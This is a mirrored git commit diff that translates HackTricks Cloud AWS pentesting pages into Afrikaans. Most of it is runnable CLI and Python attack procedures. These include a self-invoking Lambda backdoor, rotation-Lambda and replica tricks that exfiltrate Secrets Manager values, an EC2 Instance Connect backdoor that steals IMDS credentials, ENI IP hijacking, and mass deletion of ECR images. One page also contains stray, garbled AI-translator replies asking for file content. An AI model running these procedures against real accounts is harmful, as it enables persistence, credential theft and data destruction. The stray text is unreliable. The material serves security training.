gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2025-12-06 12:51:19 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

Browse Source
This commit is contained in:
Translator
2025-10-23 13:12:38 +00:00
parent 408fafdddb
commit f74f9737dd
18 changed files with 458 additions and 407 deletions
Download Patch File Download Diff File Expand all files Collapse all files

1
searchindex.js
View File

File diff suppressed because one or more lines are too long

31
src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-async-self-loop-persistence.md
View File

@@ -1,25 +1,27 @@
# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow
Misbruik Lambda asynchronous destinations saam met die Recursion-konfigurasie om 'n funksie aanhoudend self te laat herroep sonder 'n eksterne skeduleerder (geen EventBridge, cron, ens.). Standaard beëindig Lambda rekursiewe lusse, maar deur die recursion config op Allow te stel word dit weer aangeskakel. Destinations lewer aan die dienskant vir async invokes, sodat 'n enkele seed invoke 'n stil, code-free hartklop/backdoor-kanaal skep. Opsioneel beperk met reserved concurrency om geraas laag te hou.
{{#include ../../../../banners/hacktricks-training.md}}
Aantekeninge
- Lambda laat nie toe om die funksie direk as sy eie destination te konfigureer nie. Gebruik 'n function alias as die destination en laat die execution role toe om daardie alias te invoke.
- Minimum permissions: vermoë om die teikenfunksie se event invoke config en recursion config te lees/op te dateer, 'n version te publish en 'n alias te bestuur, en die funksie se execution role policy op te dateer om lambda:InvokeFunction op die alias toe te laat.
Misbruik Lambda asynchronous destinations saam met die Recursion-konfigurasie om 'n funksie aanhoudend self weer aan te roep sonder 'n eksterne skeduleerder (geen EventBridge, cron, ens. nie). Standaard beëindig Lambda rekursiewe lusse, maar deur die recursion config op Allow te stel word dit weer geaktiveer. Destinations lewer aan die dienskant vir async invokes, so 'n enkele seed invoke skep 'n stealthy, code-free heartbeat/backdoor channel. Opsioneel: throttle met reserved concurrency om geraas laag te hou.
Notas
- Lambda laat nie toe om die funksie direk as sy eie destination te konfigureer nie. Gebruik 'n function alias as die destination en staan die execution role toe om daardie alias te invoke.
- Minimum permissions: vermoë om die teikenfunksie se event invoke config en recursion config te lees/op te dateer, 'n version te publish en 'n alias te manage, en die function se execution role policy op te dateer om lambda:InvokeFunction op die alias toe te laat.
## Vereistes
- Region: us-east-1
- Vars:
- Veranderlikes:
- REGION=us-east-1
- TARGET_FN=<target-lambda-name>
## Stappe
1) Kry die function ARN en huidige recursion-instelling
1) Kry funksie-ARN en die huidige recursion instelling
```
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
```
2) Publiseer 'n weergawe en skep/werk 'n alias (wat as self-bestemming gebruik word)
2) Publiseer 'n weergawe en skep/opdateer 'n alias (gebruik as self-bestemming)
```
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
@@ -29,7 +31,7 @@ aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-vers
fi
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
```
3) Laat toe dat die funksie-uitvoeringsrol die alias kan aanroep (vereis deur Lambda Destinations→Lambda)
3) Laat die funksie-uitvoeringsrol toe om die alias aan te roep (vereis deur Lambda Destinations→Lambda)
```
# Set this to the execution role name used by the target function
ROLE_NAME=<lambda-execution-role-name>
@@ -47,7 +49,7 @@ cat > /tmp/invoke-self-policy.json <<EOF
EOF
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
```
4) Konfigureer async destination na die alias (self via alias) en skakel retries uit
4) Stel die async-bestemming na die alias (self via alias) in en skakel retries af
```
aws lambda put-function-event-invoke-config \
--function-name "$TARGET_FN" \
@@ -63,7 +65,7 @@ aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --regio
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
```
6) Saai 'n enkele asynchronous invoke
6) Inisieer 'n enkele asinkrone invoke
```
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
```
@@ -73,12 +75,12 @@ aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
# or check CloudWatch Metrics for Invocations increasing
```
8) Opsionele stealth throttle
8) Opsionele onopvallende beperking
```
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
```
## Opschoning
Breek die loop en verwyder persistence.
## Opruiming
Breek die lus en verwyder persistence.
```
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
@@ -89,4 +91,5 @@ ROLE_NAME=<lambda-execution-role-name>
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
```
## Impak
- Enkele async invoke veroorsaak dat Lambda homself voortdurend weer-invoke sonder 'n eksterne skeduleerder, wat stealthy persistence/heartbeat moontlik maak. Reserved concurrency kan geraas beperk tot 'n enkele warm execution.
- Enkele async invoke veroorsaak dat Lambda homself voortdurend her-invoke sonder 'n eksterne skeduleerder, wat stealthy persistence/heartbeat moontlik maak. Reserved concurrency kan die geraas beperk tot 'n enkele warm execution.
{{#include ../../../../banners/hacktricks-training.md}}

78
src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md
View File

@@ -4,21 +4,21 @@
## Secrets Manager
Vir meer inligting sien:
Vir meer inligting, sien:
{{#ref}}
../../aws-services/aws-secrets-manager-enum.md
{{#endref}}
### Via Resource Policies
### Deur Resource Policies
Dit is moontlik om via Resource Policies **toegang tot secrets aan eksterne rekeninge toe te ken**. Kyk na die [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) vir meer inligting. Let daarop dat om **toegang tot 'n secret te kry**, die eksterne rekening ook **toegang tot die KMS key wat die secret enkripteer** nodig sal hê.
Dit is moontlik om via resource policies **toegang tot secrets aan eksterne rekeninge te verleen**. Sien die [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) vir meer inligting. Let wel dat om **toegang tot 'n secret'** te kry, sal die eksterne rekening ook **toegang tot die KMS key wat die secret enkripteer** nodig hê.
### Via Secrets Rotate Lambda
### Deur Secrets Rotate Lambda
Om **rotate secrets** outomaties te laat gebeur, word 'n gekonfigureerde **Lambda** aangeroep. As 'n aanvaller die **code** kon **change**, kon hy die nuwe secret direk **exfiltrate** na homself.
Om **rotate secrets** outomaties te doen, word 'n gekonfigureerde **Lambda** aangeroep. As 'n attacker die **code** kon **verander**, kon hy direk die **exfiltrate the new secret** na homself uitvoer.
So kan lambda code vir so 'n aksie lyk:
So kan Lambda code vir so 'n aksie lyk:
```python
import boto3
@@ -48,34 +48,28 @@ import string
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
return password
```
{{#include ../../../../banners/hacktricks-training.md}}
### Wissel die rotation Lambda na ʼn deur-aanvaller-beheerde funksie via RotateSecret
### Wissel die rotation Lambda na 'n aanvaller-beheerde funksie via RotateSecret
Misbruik `secretsmanager:RotateSecret` om 'n secret te herbind aan 'n aanvaller-beheerde rotation Lambda en 'n onmiddellike rotasie te veroorsaak. Die kwaadwillige funksie exfiltrates die secret versions (AWSCURRENT/AWSPENDING) gedurende die rotation-stappe (createSecret/setSecret/testSecret/finishSecret) na 'n attacker sink (bv., S3 of external HTTP).
Misbruik `secretsmanager:RotateSecret` om 'n geheim te herbind aan 'n deur-aanvaller-beheerde rotation Lambda en 'n onmiddellike rotasie te aktiveer. Die kwaadwillige funksie eksfiltreer die geheimweergawes (AWSCURRENT/AWSPENDING) tydens die rotasiestappe (createSecret/setSecret/testSecret/finishSecret) na 'n aanvaller-ontvangplek (bv., S3 of eksterne HTTP).
- Vereistes
- Permissies: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` op die aanvaller-Lambda, `iam:CreateRole/PassRole/PutRolePolicy` (of AttachRolePolicy) om die Lambda-uitvoeringsrol te voorsien met `secretsmanager:GetSecretValue` en verkieslik `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (sodat rotasie aanhou werk), KMS `kms:Decrypt` vir die secret KMS-sleutel, en `s3:PutObject` (of outbound egress) vir exfiltration.
- 'n teiken secret id (`SecretId`) met rotasie geaktiveer of die vermoë om rotasie te aktiveer.
- Permissies: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` op die aanvaller Lambda, `iam:CreateRole/PassRole/PutRolePolicy` (of AttachRolePolicy) om die Lambda-uitvoeringsrol te voorsien met `secretsmanager:GetSecretValue` en by voorkeur `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (sodat rotasie aanhou werk), KMS `kms:Decrypt` vir die geheim se KMS-sleutel, en `s3:PutObject` (of uitgaande egress) vir eksfiltrasie.
- 'n teiken secret id (`SecretId`) met rotasie aangeskakel of die vermoë om rotasie te aktiveer.
- Impak
- Die aanvaller verkry die secret value(s) sonder om die legitieme rotasie-kode te wysig. Slegs die rotasie-konfigurasie word verander om na die aanvaller-Lambda te wys. As dit nie opgemerk word nie, sal geskeduleerde toekomstige rotasies voortgaan om die aanvaller se funksie aan te roep.
- Die aanvaller verkry die geheimwaarde(n) sonder om die regmatige rotasie-kode te wysig. Slegs die rotasiekonfigurasie word verander om na die aanvaller se Lambda te wys. Indien dit nie opgemerk word nie, sal geskeduleerde toekomstige rotasies voortgaan om die aanvaller se funksie aan te roep.
- Aanvalstappe (CLI)
1) Voorberei aanvaller sink en Lambda-rol
- Skep 'n S3 bucket vir exfiltration en 'n uitvoeringsrol wat deur Lambda vertrou word met permissies om die secret te lees en na S3 te skryf (plus logs/KMS soos benodig).
2) Deplooi 'n aanvaller-Lambda wat by elke rotasie-stap die secret value(s) haal en na S3 skryf. Minimale rotasie-logika kan net AWSCURRENT na AWSPENDING kopieer en dit in finishSecret bevorder om die diens gesond te hou.
3) Herbind rotasie en trigger
1) Berei aanvaller-ontvangplek en Lambda-rol voor
- Skep 'n S3-bucket vir eksfiltrasie en 'n uitvoeringsrol wat deur Lambda vertrou word met permissies om die geheim te lees en na S3 te skryf (plus logs/KMS soos nodig).
2) Ontplooi aanvaller Lambda wat by elke rotasiestap die geheimwaarde(n) haal en dit na S3 skryf. Minimale rotasie-logika kan net AWSCURRENT na AWSPENDING kopieer en dit in finishSecret promoveer om die diens gesond te hou.
3) Herbind rotasie en aktiveer
- `aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately`
4) Verifieer exfiltration deur die S3 prefix vir daardie secret te lys en die JSON artefakte te inspekteer.
5) (Opsioneel) Herstel die oorspronklike rotation Lambda om opsporing te verminder.
4) Verifieer eksfiltrasie deur die S3-prefix vir daardie geheim te lys en die JSON-artikels te inspekteer.
5) (Opsioneel) Herstel die oorspronklike rotation Lambda om deteksie te verminder.
- Example attacker Lambda (Python) exfiltrating to S3
- Environment: `EXFIL_BUCKET=<bucket>`
- Voorbeeld aanvaller Lambda (Python) wat na S3 eksfiltreer
- Omgewing: `EXFIL_BUCKET=<bucket>`
- Handler: `lambda_function.lambda_handler`
```python
import boto3, json, os, base64, datetime
@@ -102,23 +96,23 @@ write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ')
# Minimal rotation (optional): copy current->pending and promote in finishSecret
# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)
```
### Version Stage Hijacking vir skuilende volhoubare toegang (custom stage + fast AWSCURRENT flip)
### Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip)
Misbruik Secrets Manager version staging labels om 'n deur die aanvaller beheerde secret version te plant en dit versteek te hou onder 'n custom stage (byvoorbeeld, `ATTACKER`) terwyl produksie voortgaan om die oorspronklike `AWSCURRENT` te gebruik. Enige tyd kan jy `AWSCURRENT` na die aanvaller se weergawe skuif om afhanklike workloads te vergiftig, en dit dan herstel om opsporing te minimaliseer. Dit bied skuilende backdoor persistence en vinnige time-of-use-manipulasie sonder om die secret name of rotation config te verander.
Misbruik Secrets Manager version staging labels om 'n deur die aanvaller beheerde secret version in te plant en dit verborge te hou onder 'n pasgemaakte stage (byvoorbeeld, `ATTACKER`) terwyl produksie voortgaan om die oorspronklike `AWSCURRENT` te gebruik. Op enige oomblik skuif `AWSCURRENT` na die aanvaller se version om afhanklike workloads te vergiftig, en herstel dit daarna om opsporing te minimaliseer. Dit bied stil backdoor persistence en vinnige time-of-use-manipulasie sonder om die secret name of rotation config te verander.
- Vereistes
- Permissions: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (for verification)
- Teiken secret id in die Regio.
- Permissies: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (vir verifikasie)
- Teiken secret id in die Region.
- Impak
- Handhaaf 'n versteekte, deur die aanvaller beheerde weergawe van 'n geheim en skuif atomies `AWSCURRENT` na dié weergawe op aanvraag, wat enige verbruiker wat dieselfde geheimnaam oplos, beïnvloed. Die omskakeling en vinnige herstel verminder die kans op ontdekking terwyl dit tydsgebonde kompromittering moontlik maak.
- Behou 'n verborge, deur die aanvaller beheerde version van 'n geheim en skuif atomies `AWSCURRENT` daarheen op aanvraag, wat enige verbruiker wat dieselfde secret name oplos, beïnvloed. Die omswaai en vinnige terugsetting verminder die kans op opsporing terwyl dit kompromittering tydens gebruik moontlik maak.
- Aanvalstappe (CLI)
- Attack steps (CLI)
- Voorbereiding
- `export SECRET_ID=<target secret id or arn>`
<details>
<summary>CLI-opdragte</summary>
<summary>CLI commands</summary>
```bash
# 1) Capture current production version id (the one holding AWSCURRENT)
CUR=$(aws secretsmanager list-secret-version-ids \
@@ -168,12 +162,12 @@ aws secretsmanager update-secret-version-stage \
</details>
- Aantekeninge
- Wanneer jy `--client-request-token` verskaf, gebruik Secrets Manager dit as die `VersionId`. As 'n nuwe weergawe bygevoeg word sonder om `--version-stages` uitdruklik te stel, skuif `AWSCURRENT` standaard na die nuwe weergawe en word die vorige een as `AWSPREVIOUS` gemerk.
- Wanneer jy `--client-request-token` verskaf, gebruik Secrets Manager dit as die `VersionId`. Om 'n nuwe weergawe by te voeg sonder om eksplisiet `--version-stages` te stel, verskuif `AWSCURRENT` na die nuwe weergawe standaard, en merk die vorige as `AWSPREVIOUS`.
### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)
Misbruik Secrets Manager multi-Region replication om 'n replica van 'n teiken-secret in 'n minder-gemonitorde Region te skep, enkripteer dit met 'n attacker-controlled KMS key in daardie Region, bevorder dan die replica na 'n standalone secret en heg 'n permissive resource policy aan wat die attacker lees toegang gee. Die oorspronklike secret in die primêre Region bly onaangeraak, wat 'n volhoubare, stil toegang tot die secret-waarde deur die bevorderde replica bied terwyl KMS-/policy-beperkings op die primêre omseil word.
Misbruik Secrets Manager multi-Region replication om 'n replica van 'n teiken secret in 'n minder-oogstaande Region te skep, enkripteer dit met 'n attacker-controlled KMS key in daardie Region, bevorder dan die replica na 'n standalone secret en heg 'n permissive resource policy aan wat die attacker lees toegang gee. Die oorspronklike secret in die primary Region bly onveranderd, wat volhoubare, stil toegang tot die secret value deur die bevorderde replica verskaf terwyl KMS/policy beperkings op die primary omseil word.
- Vereistes
- Permissies: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
@@ -181,10 +175,10 @@ Misbruik Secrets Manager multi-Region replication om 'n replica van 'n teiken-se
- 'n attacker principal (user/role) om lees toegang tot die bevorderde secret te ontvang.
- Impak
- Volhoubare cross-Region-toegangspad na die secret-waarde via 'n standalone replica onder 'n attacker-controlled KMS CMK en 'n permissive resource policy. Die primêre secret in die oorspronklike Region bly onaangeraak.
- Volhoubare cross-Region toegangspad na die secret value deur 'n standalone replica onder 'n attacker-controlled KMS CMK en 'n permissive resource policy. Die primêre secret in die oorspronklike Region bly onaangeraak.
- Attack (CLI)
- Vars
- Aanval (CLI)
- Veranderlikes
```bash
export R1=<primary-region> # e.g., us-east-1
export R2=<replica-region> # e.g., us-west-2
@@ -192,7 +186,7 @@ export SECRET_ID=<secret name or ARN in R1>
export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
```
1) Skep attacker-controlled KMS key in replica Region
1) Skep aanvaller-beheerde KMS key in replika Region
```bash
cat > /tmp/kms_policy.json <<'JSON'
{"Version":"2012-10-17","Statement":[
@@ -205,20 +199,20 @@ aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-
# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
```
2) Kopieer die secret na R2 met behulp van die aanvaller se KMS key
2) Repliseer die geheim na R2 met die aanvaller se KMS-sleutel
```bash
aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus'
```
3) Bevorder die replica tot standalone in R2
3) Bevorder die replika na 'n selfstandige instansie in R2
```bash
# Use the secret name (same across Regions)
NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text)
aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
```
4) Heg 'n permissiewe resource policy aan die standalone secret in R2
4) Heg permissiewe resource policy aan die standalone secret in R2
```bash
cat > /tmp/replica_policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
@@ -231,4 +225,4 @@ aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
# Configure attacker credentials and read
aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text
```
{{#include ../../../../banners/hacktricks-training.md}}

27
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md
View File

@@ -2,19 +2,19 @@
{{#include ../../../../banners/hacktricks-training.md}}
Misbruik EC2 Instance Connect Endpoint (EIC Endpoint) om inkomende SSH-toegang tot private EC2-instanties (geen publieke IP/bastion) te verkry deur:
Misbruik EC2 Instance Connect Endpoint (EIC Endpoint) om inkomende SSH-toegang tot private EC2 instances (geen publieke IP/bastion) te verkry deur:
- Creating an EIC Endpoint inside the target subnet
- Allowing inbound SSH on the target SG from the EIC Endpoint SG
- Injecting a short‑lived SSH public key (valid ~60 seconds) with `ec2-instance-connect:SendSSHPublicKey`
- Toelaat inkomende SSH op die teiken SG vanaf die EIC Endpoint SG
- Inspuiting van 'n korttermyn SSH publieke sleutel (geldend ~60 sekondes) met `ec2-instance-connect:SendSSHPublicKey`
- Opening an EIC tunnel and pivoting to the instance to steal instance profile credentials from IMDS
Impak: sluipende afgeleë toegangspad na private EC2-instanties wat bastions en beperkings op publieke IP's omseil. Die aanvaller kan die instance profile aanneem en in die rekening opereer.
Impact: 'n onopvallende remote toegangspad na private EC2 instances wat bastions en publieke IP-beperkings omseil. Die aanvaller kan die instance profile aanneem en in die rekening opereer.
## Vereistes
- Permissies vir:
- `ec2:CreateInstanceConnectEndpoint`, `ec2:Describe*`, `ec2:AuthorizeSecurityGroupIngress`
- `ec2-instance-connect:SendSSHPublicKey`, `ec2-instance-connect:OpenTunnel`
- Teiken Linux-instantie met 'n SSH-bediener en EC2 Instance Connect aangeskakel (Amazon Linux 2 of Ubuntu 20.04+). Standaard gebruikers: `ec2-user` (AL2) of `ubuntu` (Ubuntu).
- Teiken Linux-instance met SSH-bediener en EC2 Instance Connect aangeskakel (Amazon Linux 2 of Ubuntu 20.04+). Standaardgebruikers: `ec2-user` (AL2) of `ubuntu` (Ubuntu).
## Veranderlikes
```bash
@@ -27,7 +27,7 @@ export ENDPOINT_SG_ID=<sg-for-eic-endpoint>
# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu)
export OS_USER=ec2-user
```
## Skep EIC Endpoint
## Skep EIC-eindpunt
```bash
aws ec2 create-instance-connect-endpoint \
--subnet-id "$SUBNET_ID" \
@@ -45,13 +45,13 @@ grep -q 'create-complete' EIC_STATE && break
sleep 5
done
```
## Laat verkeer vanaf die EIC Endpoint na die teikeninstansie toe
## Laat verkeer van EIC Endpoint na target instance toe
```bash
aws ec2 authorize-security-group-ingress \
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
```
## Injecteer efemêre SSH-sleutel en open 'n tonnel
## Injekteer kortstondige SSH-sleutel en open tunnel
```bash
# Generate throwaway key
ssh-keygen -t ed25519 -f /tmp/eic -N ''
@@ -73,13 +73,13 @@ TUN_PID=$!; sleep 2
# SSH via the tunnel (within the 60s window)
ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no
```
## Post-exploitation bewys (steel instance profile credentials)
## Post-exploitation bewys (steal instance profile credentials)
```bash
# From the shell inside the instance
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)
```
I don't have the file content. Please paste the markdown/HTML content of src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md here so I can translate it to Afrikaans per your rules.
I don't have the contents of src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md. Please paste the markdown text you want translated and I'll return the Afrikaans translation preserving all tags, links and code exactly as requested.
```json
{
"Code": "Success",
@@ -89,7 +89,7 @@ I don't have the file content. Please paste the markdown/HTML content of src/pen
"Expiration": "2025-10-08T04:09:52Z"
}
```
Gebruik die gesteelde creds plaaslik om identiteit te verifieer:
Gebruik die gesteelde creds lokaal om identiteit te verifieer:
```bash
export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
@@ -108,6 +108,7 @@ aws ec2 revoke-security-group-ingress \
aws ec2 delete-instance-connect-endpoint \
--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"
```
> Aantekeninge
> - Die ingevoegde SSH-sleutel is slegs geldig vir ~60 sekondes; stuur die sleutel direk voordat jy die tonnel/SSH oopmaak.
> Let wel
> - Die ingevoegde SSH-sleutel is slegs geldig vir ~60 sekondes; stuur die sleutel net voordat jy die tonnel/SSH oopmaak.
> - `OS_USER` moet ooreenstem met die AMI (bv. `ubuntu` vir Ubuntu, `ec2-user` vir Amazon Linux 2).
{{#include ../../../../banners/hacktricks-training.md}}

21
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md
View File

@@ -2,30 +2,30 @@
{{#include ../../../../banners/hacktricks-training.md}}
Misbruik `ec2:UnassignPrivateIpAddresses` en `ec2:AssignPrivateIpAddresses` om 'n slagoffer-ENI se sekondêre private IP te steel en dit na 'n aanvaller-ENI in dieselfde subnet/AZ te skuif. Baie interne dienste en security groups beheer toegang deur spesifieke private IP's. Deur daardie sekondêre adres te skuif, doen die aanvaller voor as die vertroude gasheer op L3 en kan hy toegang kry tot allowlisted services.
Misbruik `ec2:UnassignPrivateIpAddresses` en `ec2:AssignPrivateIpAddresses` om 'n slagoffer-ENI se sekondêre privaat IP-adres te steel en dit na 'n aanvallers-ENI in dieselfde subnet/AZ te skuif. Baie interne dienste en security groups beperk toegang op grond van spesifieke privaat IP-adresse. Deur daardie sekondêre adres te skuif, doen die aanvaller voor as die vertroude gasheer op L3 en kan hy toegang kry tot dienste op die allowlist.
Vereistes:
Voorvereistes:
- Permissions: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` on the victim ENI ARN, and `ec2:AssignPrivateIpAddresses` on the attacker ENI ARN.
- Beide ENIs moet in dieselfde subnet/AZ wees. Die teikenadres moet 'n sekondêre IP wees (primêre adres kan nie ontkoppel word nie).
- Both ENIs must be in the same subnet/AZ. The target address must be a secondary IP (primary cannot be unassigned).
Veranderlikes:
Variables:
- REGION=us-east-1
- VICTIM_ENI=<eni-xxxxxxxx>
- ATTACKER_ENI=<eni-yyyyyyyy>
- PROTECTED_SG=<sg-protected> # SG on a target service that allows only $HIJACK_IP
- PROTECTED_HOST=<private-dns-or-ip-of-protected-service>
Steps:
Stappe:
1) Kies 'n sekondêre IP van die slagoffer-ENI
```bash
aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
export HIJACK_IP=$(cat HIJACK_IP)
```
2) Verseker dat die beskermde gasheer slegs daardie IP toelaat (idempotent). As jy eerder SG-to-SG-reëls gebruik, slaan oor.
2) Verseker dat die beskermde gasheer slegs daardie IP toelaat (idempotent). As jy in plaas daarvan SG-to-SG-reëls gebruik, sla oor.
```bash
aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80 --cidr "$HIJACK_IP/32" --region $REGION || true
```
3) Basislyn: vanaf attacker instance moet versoek na PROTECTED_HOST misluk sonder spoofed source (bv. oor SSM/SSH)
3) Basislyn: vanaf attacker instance, moet 'n versoek na PROTECTED_HOST misluk sonder spoofed source (bv. oor SSM/SSH)
```bash
curl -sS --max-time 3 http://$PROTECTED_HOST || true
```
@@ -41,10 +41,11 @@ aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI --pri
```bash
aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
```
7) Vanaf die attacker instance, source-bind na die hijacked IP om die protected host te bereik (verseker dat die IP op die OS gekonfigureer is; indien nie, voeg dit by met `ip addr add $HIJACK_IP/<mask> dev eth0`)
7) Vanaf die attacker instance, source-bind na die hijacked IP om die protected host te bereik (maak seker die IP is op die OS gekonfigureer; indien nie, voeg dit by met `ip addr add $HIJACK_IP/<mask> dev eth0`)
```bash
curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out
```
## Impak
- Omseil IP allowlists en voordoen as vertroude hosts binne die VPC deur secondary private IPs tussen ENIs in dieselfde subnet/AZ te skuif.
- Bereik interne dienste wat toegang op grond van spesifieke source IPs beheer, wat lateral movement en data-toegang moontlik maak.
- Omseil IP allowlists en naboots vertroude hosts binne die VPC deur secondary private IPs tussen ENIs in dieselfde subnet/AZ te skuif.
- Bereik interne dienste wat toegang deur spesifieke source IPs beheer, wat lateral movement en data access moontlik maak.
{{#include ../../../../banners/hacktricks-training.md}}

45
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md
View File

@@ -47,7 +47,7 @@ aws ecr get-download-url-for-layer \
--registry-id 653711331788 \
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
```
Nadat jy die images afgelaai het, moet jy **hulle vir sensitiewe inligting nagaan**:
Nadat jy die beelde afgelaai het, moet jy hulle **vir sensitiewe inligting nagaan**:
{{#ref}}
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
@@ -55,7 +55,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
'n aanvaller met enige van hierdie permissies kan **'n lifecycle policy skep of wysig om alle images in die repository te verwyder** en dan **die hele ECR repository te verwyder**. Dit sou lei tot die verlies van alle container images wat in die repository gestoor is.
’n aanvaller met enige van hierdie toestemmings kan **’n lewensiklusbeleid skep of wysig om alle beelde in die repository te verwyder** en daarna **die hele ECR repository verwyder**. Dit sou lei tot die verlies van alle container-beelde wat in die repository gestoor is.
```bash
# Create a JSON file with the malicious lifecycle policy
echo '{
@@ -90,26 +90,21 @@ aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imag
